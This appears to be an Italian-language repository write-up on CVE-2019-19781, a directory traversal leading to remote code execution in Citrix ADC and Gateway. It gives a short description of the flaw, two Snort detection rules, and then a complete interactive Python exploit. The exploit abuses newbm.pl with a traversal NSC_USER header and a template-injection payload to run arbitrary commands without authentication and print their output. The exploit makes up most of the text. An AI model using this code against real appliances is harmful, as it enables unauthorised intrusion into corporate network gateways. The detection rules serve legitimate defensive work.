tpdlshdmlrkfmcla/cve-2019-19781RCE, Citirx ADC e Gateway Directory Traversal
Questo articolo riguarda la vulnerabilità di esecuzione remota di codice (RCE) per directory traversal in Citrix ADC e Gateway, registrata come CVE-2019-19781. Questa vulnerabilità di esecuzione remota di codice si verifica perché la validazione del file smb.conf sotto il percorso /vpn/../vpns non viene eseguita correttamente. Consente il furto di informazioni di configurazione del sistema o del server.
Azienda multinazionale statunitense fondata nel 1989
Fornisce virtualizzazione di server, applicazioni e desktop, networking, SaaS e tecnologie cloud computing
Vulnerabilità di directory traversal causata da una insufficiente validazione dell'input nelle famiglie di prodotti Citrix vulnerabili
Vulnerabilità che si verifica utilizzando direttamente il percorso ricevuto nella richiesta senza una validazione dell'input
Nelle versioni vulnerabili della famiglia di prodotti Citrix, esiste uno script Perl nel percorso /vpns/ che consente l'accesso senza autenticazione a file limitati, inclusi i percorsi di directory
Tale script Perl utilizza direttamente il percorso ricevuto nella richiesta
alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")
if len(sys.argv) < 2:
print("[-] No URL provided")
sys.exit(0)
while True:
try:
command = input("command > ")
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
print("[+] Adding bookmark", random_xml + ".xml")
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
if r.status_code == 200:
print("[+] Bookmark added")
else:
print("\n[-] Target not vulnerable or something went wrong")
sys.exit(0)
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
print("[+] Result of the command: \n")
print(replaced)
except KeyboardInterrupt:
print("Exiting...")
break